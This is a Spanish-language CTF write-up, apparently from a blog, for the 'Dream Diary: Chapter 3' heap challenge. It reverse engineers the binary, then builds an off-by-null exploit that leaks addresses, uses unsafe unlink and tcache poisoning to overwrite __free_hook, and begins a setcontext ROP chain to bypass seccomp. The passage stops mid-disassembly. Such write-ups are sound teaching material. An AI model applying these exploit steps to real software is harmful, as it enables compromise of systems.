Dream Diary: Chapter 3
25 minutos de lectura
Se nos proporciona un binario de 64 bits llamado diary3
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
Además, también tenemos la librería y el cargador de Glibc remotos:
$ ./ld-2.29.so libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
El binario ya está parcheado para usar estos archivos, por lo que no se necesitan acciones:
$ ldd diary3
linux-vdso.so.1 (0x00007ffce37e2000)
libc.so.6 => ./libc.so.6 (0x00007fc0db710000)
./ld-2.29.so => /lib64/ld-linux-x86-64.so.2 (0x00007fc0db904000)
Además, hay una nota:
$ cat note.txt
apparently, my friend told me that having /bin/sh in libc isn't safe... so I patched it up :p
Entonces, la técnica típica de one_gadget
no funciona esta vez…
Ingeniería inversa
Vamos a cargar el binario en Ghidra para analizar el código en C descompilado. Esto es main
:
int main() {
long in_FS_OFFSET;
undefined4 option;
int i;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
signal(0xe, exit_troll);
alarm(0x78);
puts("Welcome to Dream Diary: Chapter 3! The return of a Dream Diary with modern protections!");
setvbuf(stdout, NULL, 2, 0);
for (i = 0; i < 100; i++) {
fwrite("1. write about dream \n2. edit dream\n3. delete dream\n4. recount dream\n5. exit diary\n ", 1, 0x53, stderr);
fwrite("> ", 1, 2, stderr);
__isoc99_scanf("%u", &option);
switch (option) {
default:
fwrite("invalid choice\n", 1, 0xf, stderr);
/* WARNING: Subroutine does not return */
exit(1);
case 1:
write_dreams();
break;
case 2:
edit_dream();
break;
case 3:
delete_dream(1);
break;
case 4:
delete_dream(2);
break;
case 5:
i = 100000;
}
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Está llamando a setup
al principio:
void setup() {
int iVar1;
iVar1 = prctl(0x26, 1, 0, 0, 0);
if (iVar1 != 0) {
perror("Could not start seccomp");
/* WARNING: Subroutine does not return */
exit(1);
}
iVar1 = prctl(0x16, 2, &DAT_001040a0);
if (iVar1 == -1) {
perror("Could not start seccomp");
/* WARNING: Subroutine does not return */
exit(1);
}
}
Reglas seccomp
Está configurando reglas seccomp
, por lo que podemos emplear seccomp-tools
para extraer los filtros:
$ seccomp-tools dump ./diary3
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x00000055 if (A != creat) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
Como se puede ver, no podemos usar sys_execve
, que es una instruccióm syscall
utilizado por funciones como system
para ejecutar comandos. Además, no podemos usar sys_open
para abrir un archivo desde el servidor. Sin embargo, hay que tener en cuenta que este es un enfoque de lista negra (blacklist), por lo que hay muchas instrucciones syscall
que aún podemos usar. Mirando en x64.syscall.sh, vemos algunas instrucciones syscall
como sys_execveat
or openat
, que son similares a las anteriores. Por tanto, las reglas seccomp
no supondran un grave problema.
Hay otras formas de saltarse las reglas seccomp
, pero no funcionan en este reto (más información aquí).
Opciones del programa
El reto está relacionado con el heap y nos dan estas opciones:
$ ./diary3
Welcome to Dream Diary: Chapter 3! The return of a Dream Diary with modern protections!
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
>
Función de asignación
Esta es write_dreams
:
void write_dreams() {
char *p_dream;
uint index_copy;
uint index;
ulong size;
index = 0;
index_copy = 0;
do {
if (18 < index_copy) {
LAB_001014a3:
if (index == 18) {
fwrite("no more pages for dreams :(\n", 1, 0x1c, stderr);
} else {
fwrite("size: ", 1, 6, stderr);
__isoc99_scanf("%lu", &size);
if ((0x1f0 < size) || ((size < 0x110 && (0xf8 < size)))) {
fwrite("According to research, such a dream length is impossible :(\n", 1, 0x3c, stderr);
/* WARNING: Subroutine does not return */
exit(0);
}
*(int *) (&sizes + (ulong) index * 0x10) = (int) size;
fwrite("data: ", 1, 6, stderr);
p_dream = (char *) malloc(size);
dreams[(ulong)index * 2] = p_dream;
read(0, dreams[(ulong) index * 2], size);
fwrite("done\n", 1, 5, stderr);
}
return;
}
if ((*(int *) (&sizes + (ulong) index_copy * 0x10) == 0) && (dreams[(ulong) index_copy * 2] == NULL)) {
index = index_copy;
goto LAB_001014a3;
}
index_copy++;
} while( true );
}
Como se puede ver, podemos usar chunks de tamaño máximo 0x1f0
y los tamaños entre 0xf0
y 0x108
no están permitidos.
Hay una variable global llamada dreams
que almacena el tamaño ingresado por el usuario y la dirección del chunk asignado.
Función de edición
Esta es edit_dream
:
void edit_dream() {
ssize_t ret;
char c;
uint index;
uint i;
int ret_copy;
fwrite("index: ", 1, 7, stderr);
__isoc99_scanf("%u", &index);
if (index < 19) {
if ((*(int *) (&sizes + (ulong) index * 0x10) == 0) || (dreams[(ulong) index * 2] == NULL)) {
fwrite("uafs are for noobs\n", 1, 0x13, stderr);
} else {
fwrite("Input data: ", 1, 0xc, stderr);
for (i = 0; i != *(uint *) (&sizes + (ulong)index * 0x10); i++) {
ret = read(0, &c, 1);
ret_copy = (int) ret;
if (ret_copy != 1) {
fwrite("Error with writing to diary!",1, 0x1c, stderr);
/* WARNING: Subroutine does not return */
exit(-1);
}
if ((c == '\n') || (c == '\0')) break;
dreams[(ulong) index * 2][i] = c;
}
dreams[(ulong) index * 2][i] = '\0';
}
} else {
fwrite("invalid index\n", 1, 0xe, stderr);
}
}
Esta función verifica si el chunk existe o no, por lo que no hay una vulnerabilidad de Use After Free evidente. La modificación de los datos del chunk es casi correcta, hay un error aquí:
dreams[(ulong) index * 2][i] = '\0';
Si elegimos el tamaño máximo de información para el chunk y usamos la función de edición, después del bucle for
, el contador i
estará fuera de los límites por un byte. Por lo tanto, la instrucción anterior pone un byte nulo fuera de los límites (también conocido como off-by-null).
Obsérvese también que no podemos poner bytes nulos o saltos de línea aquí:
if ((c == '\n') || (c == '\0')) break;
Función de liberación
Esta es delete_dream
:
void delete_dream(int do_delete) {
uint index;
fwrite("index: ", 1, 7, stderr);
__isoc99_scanf("%u", &index);
if (index < 19) {
if (do_delete == 1) {
if ((*(int *) (&sizes + (ulong) index * 0x10) == 0) || (dreams[(ulong) index * 2] == NULL)) {
fwrite("double frees are not cool\n", 1, 0x1a, stderr);
} else {
free(dreams[(ulong) index * 2]);
dreams[(ulong) index * 2] = NULL;
*(undefined4 *) (&sizes + (ulong) index * 0x10) = 0;
fwrite("diary page deleted\n", 1, 0x13, stderr);
}
} else if ((*(int *) (&sizes + (ulong) index * 0x10) == 0) || (dreams[(ulong) index * 2] == NULL)) {
fwrite("diary doesn\'t exist here\n", 1, 0x19, stderr);
} else {
fprintf(stderr, "\ndata: %s\n", dreams[(ulong) index * 2]);
}
} else {
fwrite("invalid index\n", 1, 0xe, stderr);
}
}
Una vez más, esta función parece segura porque verifica si el chunk todavía existe en la lista global dreams
. Además, una vez que se libera un chunk, tanto su tamaño como su dirección se eliminan de la lista.
Función de información
Esta función se combina con delete_dreams
. La parte relevante está aquí:
if ((*(int *) (&sizes + (ulong) index * 0x10) == 0) || (dreams[(ulong) index * 2] == NULL)) {
fwrite("diary doesn\'t exist here\n", 1, 0x19, stderr);
} else {
fprintf(stderr, "\ndata: %s\n", dreams[(ulong) index * 2]);
}
} else {
fwrite("invalid index\n", 1, 0xe, stderr);
}
Simplemente muestra el contenido de un chunk dado como una cadena (por lo tanto, se detendrá en un byte nulo).
Estrategia de explotación
El único error que tenemos es el off-by-null. Este error se puede aprovechar para realizar una técnica conocida como null byte poisoning. La idea de esta técnica es abusar del hecho de que los chunks del heap están adyacentes para modificar las flags del siguiente chunk. Entonces, las flags AMP
se establecerán en 000
en binario, lo que indica que el chunk anterior no está en uso.
Entonces, podemos encadenar esta modificación de las flags con un chunk falso con punteros fd
y bk
maliciosos, liberar el chunk modificado desencadenar malloc_consolidate
. Como resultado, realizaremos una especie de exploit de Unsafe Unlink, que proporcionará chunks solapados (overlapping chunks) y, por lo tanto, podremos realizar un ataque de Tcache poisoning para apuntar a __free_hook
. Creo que este ataque se conoce como House of Einherjar, pero no estoy muy seguro.
Recordemos que Glibc está parcheado y hay reglas seccomp
, por lo que tendremos que usar ROP. Encontré dos formas de ejecutar una cadena ROP en este entorno de heap. Una es apuntar a ciertos gadgets mágicos existentes en Glibc para controlar muchos registros y cambiar el puntero de la pila ($rsp
) al heap. La otra manera es encontrar una fuga de una dirección de pila utilizando environ
de Glibc e ingresar la cadena ROP en la pila, modificando la dirección de retorno guardada, como de costumbre.
Hay algunos giros más al final de la explotación, se verán en la siguiente sección.
Desarrollo del exploit
Usaremos estas funciones auxiliares:
def write(p, size: int, data: bytes):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'size: ', str(size).encode())
p.sendafter(b'data: ', data)
def edit(p, index: int, data: bytes):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'index: ', str(index).encode())
p.sendafter(b'Input data: ', data)
def delete(p, index: int):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'index: ', str(index).encode())
def recount(p, index: int) -> bytes:
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'index: ', str(index).encode())
p.recvuntil(b'data: ')
return p.recvuntil(b'\n1. write about dream', drop=True)
Fugando direcciones de memoria
En primer lugar, debemos obtener algunas fugas de memoria para realizar las técnicas antes mencionadas. En los retos de explotación del heap que involucran Tcache es bastante común llenar la lista libre del Tcache de un tamaño mayor que 0x80
(para evitar chunks de categoría Fast Bin), de modo que cuando se libera otro chunk, se guarda en la lista de Unsorted Bin. Como resultado, el chunk tendrá punteros a main_arena
tanto en fd
como en bk
.
Aunque no podemos mostrar el contenido directamente porque no hay Use After Free, aún podemos asignar un nuevo chunk allí y modificar solo el último byte, dejando el resto de la dirección intacta y disponible para mostrarse.
Además, podemos aplicar el mismo truco para filtrar una dirección del heap modificando un chunk del Tcache.
Con el siguiente código, tendremos la dirección base de Glibc y del heap (es necesario usar GDB para encontrar los offsets correctos):
def main():
p = get_process()
gdb.attach(p, 'continue')
for _ in range(9):
write(p, 0x88, b'A')
for i in range(9):
delete(p, 8 - i)
write(p, 0x88, b'X')
heap_base_addr = (u64(recount(p, 0)[:8].ljust(8, b'\0')) & 0xfffffffffffff000) - 0x1000
p.info(f'Heap base address: {hex(heap_base_addr)}')
for _ in range(8):
write(p, 0x88, b'Y')
glibc.address = u64(recount(p, 7)[:8].ljust(8, b'\0')) - 0x1e4d59
p.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
Dado que tenemos GDB conectado al proceso, podemos verificar que nuestra dirección base sea correcta:
$ python3 solve.py
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Starting local process './diary3': pid 3602279
[*] running in new terminal: ['/usr/bin/gdb', '-q', './diary3', '3602279', '-x', '/tmp/pwn0e8inigl.gdb']
[+] Waiting for debugger: Done
[*] Heap base address: 0x55b818fab000
[+] Glibc base address: 0x7f191c93a000
[*] Switching to interactive mode
1. edit dream
2. delete dream
3. recount dream
4. exit diary
> $
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x55b8183c9000 0x55b8183ca000 r--p 1000 0 ./diary3
0x55b8183ca000 0x55b8183cb000 r-xp 1000 1000 ./diary3
0x55b8183cb000 0x55b8183cc000 r--p 1000 2000 ./diary3
0x55b8183cc000 0x55b8183cd000 r--p 1000 2000 ./diary3
0x55b8183cd000 0x55b8183d0000 rw-p 3000 3000 ./diary3
0x55b818fab000 0x55b818fcc000 rw-p 21000 0 [heap]
0x7f191c93a000 0x7f191c95f000 r--p 25000 0 ./libc.so.6
0x7f191c95f000 0x7f191cad2000 r-xp 173000 25000 ./libc.so.6
0x7f191cad2000 0x7f191cb1b000 r--p 49000 198000 ./libc.so.6
0x7f191cb1b000 0x7f191cb1e000 r--p 3000 1e0000 ./libc.so.6
0x7f191cb1e000 0x7f191cb21000 rw-p 3000 1e3000 ./libc.so.6
0x7f191cb21000 0x7f191cb27000 rw-p 6000 0 [anon_7f191cb21]
0x7f191cb27000 0x7f191cb28000 r--p 1000 0 ./ld-2.29.so
0x7f191cb28000 0x7f191cb49000 r-xp 21000 1000 ./ld-2.29.so
0x7f191cb49000 0x7f191cb51000 r--p 8000 22000 ./ld-2.29.so
0x7f191cb51000 0x7f191cb52000 r--p 1000 29000 ./ld-2.29.so
0x7f191cb52000 0x7f191cb53000 rw-p 1000 2a000 ./ld-2.29.so
0x7f191cb53000 0x7f191cb54000 rw-p 1000 0 [anon_7f191cb53]
0x7ffc73842000 0x7ffc73863000 rw-p 21000 0 [stack]
0x7ffc73939000 0x7ffc7393c000 r--p 3000 0 [vvar]
0x7ffc7393c000 0x7ffc7393d000 r-xp 1000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
Todo es perfecto.
Null-byte poison
Para que este ataque funcione, necesitamos usar al menos chunks de tamaño 0x100
, porque sobrescribiremos el último byte con un byte nulo y queremos mantener un tamaño válido. Entonces, asignaremos dos chunks y editaremos el superior para alterar el tamaño del segundo chunk:
write(p, 0xf8, b'asdf') # 9
write(p, 0xf8, b'qwer') # 10
edit(p, 9, b'A' * 0xf8)
Así está el heap:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5ac000
Size: 0x251
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x557ddf5ac250
Size: 0x411
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5ac660
Size: 0x1011
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5ad670
Size: 0x91
...
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5adaf0
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5adb80
Size: 0x101
Allocated chunk
Addr: 0x557ddf5adc80
Size: 0x100
Top chunk | PREV_INUSE
Addr: 0x557ddf5add80
Size: 0x1f281
pwndbg> x/50gx 0x557ddf5adb80
0x557ddf5adb80: 0x0000000000000000 0x0000000000000101
0x557ddf5adb90: 0x4141414141414141 0x4141414141414141
0x557ddf5adba0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbb0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbc0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbd0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbe0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbf0: 0x4141414141414141 0x4141414141414141
0x557ddf5adc00: 0x4141414141414141 0x4141414141414141
0x557ddf5adc10: 0x4141414141414141 0x4141414141414141
0x557ddf5adc20: 0x4141414141414141 0x4141414141414141
0x557ddf5adc30: 0x4141414141414141 0x4141414141414141
0x557ddf5adc40: 0x4141414141414141 0x4141414141414141
0x557ddf5adc50: 0x4141414141414141 0x4141414141414141
0x557ddf5adc60: 0x4141414141414141 0x4141414141414141
0x557ddf5adc70: 0x4141414141414141 0x4141414141414141
0x557ddf5adc80: 0x4141414141414141 0x0000000000000100
0x557ddf5adc90: 0x0000000072657771 0x0000000000000000
0x557ddf5adca0: 0x0000000000000000 0x0000000000000000
0x557ddf5adcb0: 0x0000000000000000 0x0000000000000000
0x557ddf5adcc0: 0x0000000000000000 0x0000000000000000
0x557ddf5adcd0: 0x0000000000000000 0x0000000000000000
0x557ddf5adce0: 0x0000000000000000 0x0000000000000000
0x557ddf5adcf0: 0x0000000000000000 0x0000000000000000
0x557ddf5add00: 0x0000000000000000 0x0000000000000000
Como se puede ver, el segundo fragmento tiene la flag PREV_INUSE
a 0
. Una vez que liberemos el chunk superior, si liberamos el chunk inferior, el asignador del heap intentará consolidar el heap y fusionar los dos chunks. Este es el punto donde el exploit de Unsafe Unlink será útil.
Sin embargo, dado que este Glibc usa Tcache, primero necesitamos llenar el Tcache, de modo que el asignador del heap meta los dos chunks anteriores en el Unsorted Bin y no en el Tcache:
for _ in range(7):
write(p, 0xf8, b'Z')
for i in range(7):
delete(p, 11 + 6 - i)
Debemos agregar un chunk falso para realizar el Unsafe Unlink. Leí sobre esta técnica en estos recursos:
Con los recursos anteriores, debería estar claro lo que queremos lograr. Estamos tratando de confundir al asignador del heap para que consolide el segundo chunk con un chunk falso que hemos puesto en la sección de datos del chunk superior. Como resultado, obtendremos chunks solapados (overlapping chunks).
Para que funcione el Unsafe Unlink, necesitamos satisfacer algunas comprobaciones de seguridad que se explican en los enlaces anteriores. Después de mucha depuración, llegamos a este código para insertar el chunk falso y realizamos con éxito el exploit de Unsafe Unlink:
holder_addr = heap_base_addr + 0x2490
victim_chunk_addr = heap_base_addr + 0x1b90
fake_fd = holder_addr - 0x18
fake_bk = holder_addr - 0x10
delete(p, 9)
write(p, 0xf8, p64(0) + p64(0xf0) + p64(fake_fd) + p64(fake_bk) + b'A' * 0xd0 + p64(0xf0))
for _ in range(7):
write(p, 0xf8, b'Z')
for i in range(7):
delete(p, 11 + 6 - i)
write(p, 0x18, p64(victim_chunk_addr)) # 11
Nótese que ingresé un chunk de tamaño 0x20
para contener la dirección del chunk víctima y así evitar los controles de seguridad. Además, dado que edit_dream
no nos permite introducir bytes nulos, podemos liberar el chunk y asignarlo nuevamente porque write_dreams
sí permite bytes nulos. Observe también que el proceso de llenar el Tcache aparece en medio de la configuración para el Unsafe Unlink.
Ahora, cuando ejecutemos delete(p, 10)
desencadenaremos malloc_consolidate
. Este es el diseño del heap antes de esto:
pwndbg> x/50gx 0x563b8f3eab80
0x563b8f3eab80: 0x0000000000000000 0x0000000000000101
0x563b8f3eab90: 0x0000000000000000 0x00000000000000f0
0x563b8f3eaba0: 0x0000563b8f3eb478 0x0000563b8f3eb480
0x563b8f3eabb0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabc0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabd0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabe0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabf0: 0x4141414141414141 0x4141414141414141
0x563b8f3eac00: 0x4141414141414141 0x4141414141414141
0x563b8f3eac10: 0x4141414141414141 0x4141414141414141
0x563b8f3eac20: 0x4141414141414141 0x4141414141414141
0x563b8f3eac30: 0x4141414141414141 0x4141414141414141
0x563b8f3eac40: 0x4141414141414141 0x4141414141414141
0x563b8f3eac50: 0x4141414141414141 0x4141414141414141
0x563b8f3eac60: 0x4141414141414141 0x4141414141414141
0x563b8f3eac70: 0x4141414141414141 0x4141414141414141
0x563b8f3eac80: 0x00000000000000f0 0x0000000000000100
0x563b8f3eac90: 0x0000000072657771 0x0000000000000000
0x563b8f3eaca0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacb0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacc0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacd0: 0x0000000000000000 0x0000000000000000
0x563b8f3eace0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacf0: 0x0000000000000000 0x0000000000000000
0x563b8f3ead00: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x0000563b8f3eb478
0x563b8f3eb478: 0x0000000000000000 0x0000000000000000
0x563b8f3eb488: 0x0000000000000021 0x0000563b8f3eab90
pwndbg> x/gx 0x0000563b8f3eb478 + 0x18
0x563b8f3eb490: 0x0000563b8f3eab90
pwndbg> x/gx 0x0000563b8f3eb480 + 0x10
0x563b8f3eb490: 0x0000563b8f3eab90
pwndbg> continue
Continuing.
Obsérvese que todo está preparado para que funcione el exploit de Unsafe Unlink (tamaño falso, tamaño anterior y configuración correcta de los punteros fd
y bk
).
Ahora eliminamos el chunk en el índice 10
:
$ python3 solve.py
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Starting local process './diary3': pid 3625301
[*] running in new terminal: ['/usr/bin/gdb', '-q', './diary3', '3625301', '-x', '/tmp/pwng9cpqogc.gdb']
[+] Waiting for debugger: Done
[*] Heap base address: 0x563b8f3e9000
[+] Glibc base address: 0x7fa22c102000
[*] Switching to interactive mode
done
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $ 3
index: $ 10
diary page deleted
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $
Ahora el heap ha cambiado un poco:
pwndbg> x/50gx 0x563b8f3eab80
0x563b8f3eab80: 0x0000000000000000 0x0000000000000101
0x563b8f3eab90: 0x0000000000000000 0x00000000000001f1
0x563b8f3eaba0: 0x00007fa22c2e6ca0 0x00007fa22c2e6ca0
0x563b8f3eabb0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabc0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabd0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabe0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabf0: 0x4141414141414141 0x4141414141414141
0x563b8f3eac00: 0x4141414141414141 0x4141414141414141
0x563b8f3eac10: 0x4141414141414141 0x4141414141414141
0x563b8f3eac20: 0x4141414141414141 0x4141414141414141
0x563b8f3eac30: 0x4141414141414141 0x4141414141414141
0x563b8f3eac40: 0x4141414141414141 0x4141414141414141
0x563b8f3eac50: 0x4141414141414141 0x4141414141414141
0x563b8f3eac60: 0x4141414141414141 0x4141414141414141
0x563b8f3eac70: 0x4141414141414141 0x4141414141414141
0x563b8f3eac80: 0x00000000000000f0 0x0000000000000100
0x563b8f3eac90: 0x0000000072657771 0x0000000000000000
0x563b8f3eaca0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacb0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacc0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacd0: 0x0000000000000000 0x0000000000000000
0x563b8f3eace0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacf0: 0x0000000000000000 0x0000000000000000
0x563b8f3ead00: 0x0000000000000000 0x0000000000000000
pwndbg> bins
tcachebins
0x100 [ 7]: 0x563b8f3ead90 —▸ 0x563b8f3eae90 —▸ 0x563b8f3eaf90 —▸ 0x563b8f3eb090 —▸ 0x563b8f3eb190 —▸ 0x563b8f3eb290 —▸ 0x563b8f3eb390 ◂— 0x0
0x410 [ 1]: 0x563b8f3e9260 ◂— 0x0
fastbins
empty
unsortedbin
all: 0x563b8f3eab90 —▸ 0x7fa22c2e6ca0 ◂— 0x563b8f3eab90
smallbins
empty
largebins
empty
pwndbg> continue
Continuing.
Como se puede ver, tenemos un chunk del Unsorted Bin dentro de otro chunk (chunks solapados). Si asignamos un chunk de tamaño 0x20
(por ejemplo), se colocará ahí:
pwndbg> x/50gx 0x563b8f3eab80
0x563b8f3eab80: 0x0000000000000000 0x0000000000000101
0x563b8f3eab90: 0x0000000000000000 0x0000000000000021
0x563b8f3eaba0: 0x00007f0a66647361 0x00007fa22c2e6e80
0x563b8f3eabb0: 0x4141414141414141 0x00000000000001d1
0x563b8f3eabc0: 0x00007fa22c2e6ca0 0x00007fa22c2e6ca0
0x563b8f3eabd0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabe0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabf0: 0x4141414141414141 0x4141414141414141
0x563b8f3eac00: 0x4141414141414141 0x4141414141414141
0x563b8f3eac10: 0x4141414141414141 0x4141414141414141
0x563b8f3eac20: 0x4141414141414141 0x4141414141414141
0x563b8f3eac30: 0x4141414141414141 0x4141414141414141
0x563b8f3eac40: 0x4141414141414141 0x4141414141414141
0x563b8f3eac50: 0x4141414141414141 0x4141414141414141
0x563b8f3eac60: 0x4141414141414141 0x4141414141414141
0x563b8f3eac70: 0x4141414141414141 0x4141414141414141
0x563b8f3eac80: 0x00000000000000f0 0x0000000000000100
0x563b8f3eac90: 0x0000000072657771 0x0000000000000000
0x563b8f3eaca0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacb0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacc0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacd0: 0x0000000000000000 0x0000000000000000
0x563b8f3eace0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacf0: 0x0000000000000000 0x0000000000000000
0x563b8f3ead00: 0x0000000000000000 0x0000000000000000
Entonces, la idea aquí es realizar un ataque de Tcache poisoning, ya que ahora podemos liberar este chunk de tamaño 0x20
y editar la parte de datos del chunk “contenedor” para modificar el puntero fd
. Pondremos la dirección de __free_hook
para asignar un chunk allí y secuestrar la ejecución de free
:
delete(p, 10)
write(p, 0x18, b'A')
delete(p, 10)
edit(p, 9, b'A' * 0x10 + p64(glibc.sym.__free_hook)[:7])
Obsérvese que no podemos ingresar al completo la dirección de __free_hook
porque edit_dream
no permite bytes nulos.
Entonces hemos puesto __free_hook
en la lista del Tcache:
pwndbg> tcachebins
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
tcachebins
0x20 [ 1]: 0x5583b0dbeba0 —▸ 0x7f63a66205a8 (__free_hook) ◂— ...
0x100 [ 7]: 0x5583b0dbed90 —▸ 0x5583b0dbee90 —▸ 0x5583b0dbef90 —▸ 0x5583b0dbf090 —▸ 0x5583b0dbf190 —▸ 0x5583b0dbf290 —▸ 0x5583b0dbf390 ◂— 0x0
0x410 [ 1]: 0x5583b0dbd260 ◂— 0x0
pwndbg> continue
Continuing.
Ahora podemos asignar dos chunks de tamaño 0x20
y escribir en __free_hook
:
$ python3 solve.py
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Starting local process './diary3': pid 3631968
[*] running in new terminal: ['/usr/bin/gdb', '-q', './diary3', '3631968', '-x', '/tmp/pwn7rw3qc5_.gdb']
[+] Waiting for debugger: Done
[*] Heap base address: 0x5583b0dbd000
[+] Glibc base address: 0x7f63a6439000
[*] Switching to interactive mode
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $ 1
size: $ 24
data: $ asdf
done
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $ 1
size: $ 24
data: $ ABCDEFG
done
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $
pwndbg> x/gx &__free_hook
0x7f63a66205a8 <__free_hook>: 0x0a47464544434241
Perfecto, ahora es momento de obtener ejecución de comandos.
ROP chain
Recordemos que había reglas seccomp
activas (en verdad, instrucciones syscall
no permitidas) y que Glibc no contiene la cadena "/bin/sh"
, por lo que one_gadget
no funciona aquí. Además, no podemos usar system
porque emplea sys_fork
y sys_execve
por detrás, y no están permitidas.
Además, recordemos que tenemos sys_execveat
y sys_openat
. Este último podría haber funcionado si supiéramos el nombre de archivo para leer la flag, pero el autor del reto dijo que no se podía adivinar, por lo que nos vemos obligados a obtener una shell con sys_execveat
.
Para llamar a sys_execveat
, necesitamos elaborar una cadena de ROP para establecer los registros necesarios (más información en man7.org):
$rax = 322
$rdi
contiene un descriptor de archivo de directorio (que no se usa si el archivo para ejecutar tiene una ruta absoluta)$rsi
tiene un puntero al nombre de archivo (preferiblemente una ruta absoluto)$rdx
configurado aNULL
(punteroargv
)$r10
configurado aNULL
(punteroenvp
)$r8 = 0
(flags
)
El problema aquí es que no tenemos acceso a la pila, por lo que es difícil obtener el control del puntero de instrucción para ejecutar la cadena ROP. Buscando formas posibles de ejecutar una cadena ROP en el heap, encontré este write-up. Afortunadamente, el write-up es muy similar a este reto: necesitan usar una cadena ROP de tipo open-read-write en el heap para saltarse las reglas seccomp
.
La clave es una función llamada setcontext
de Glibc que contiene un gadget muy útil para configurar muchos registros:
$ objdump -M intel --disassemble=setcontext libc.so.6
libc.so.6: file format elf64-x86-64
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .text:
0000000000055e00 <setcontext@@GLIBC_2.2.5>:
55e00: 57 push rdi
55e01: 48 8d b7 28 01 00 00 lea rsi,[rdi+0x128]
55e08: 31 d2 xor edx,edx
55e0a: bf 02 00 00 00 mov edi,0x2
55e0f: 41 ba 08 00 00 00 mov r10d,0x8
55e15: b8 0e 00 00 00 mov eax,0xe
55e1a: 0f 05 syscall
55e1c: 5a pop rdx
55e1d: 48 3d 01 f0 ff ff cmp rax,0xfffffffffffff001
55e23: 73 5b jae 55e80 <setcontext@@GLIBC_2.2.5+0x80>
55e25: 48 8b 8a e0 00 00 00 mov rcx,QWORD PTR [rdx+0xe0]
55e2c: d9 21 fldenv [rcx]
55e2e: 0f ae 92 c0 01 00 00 ldmxcsr DWORD PTR [rdx+0x1c0]
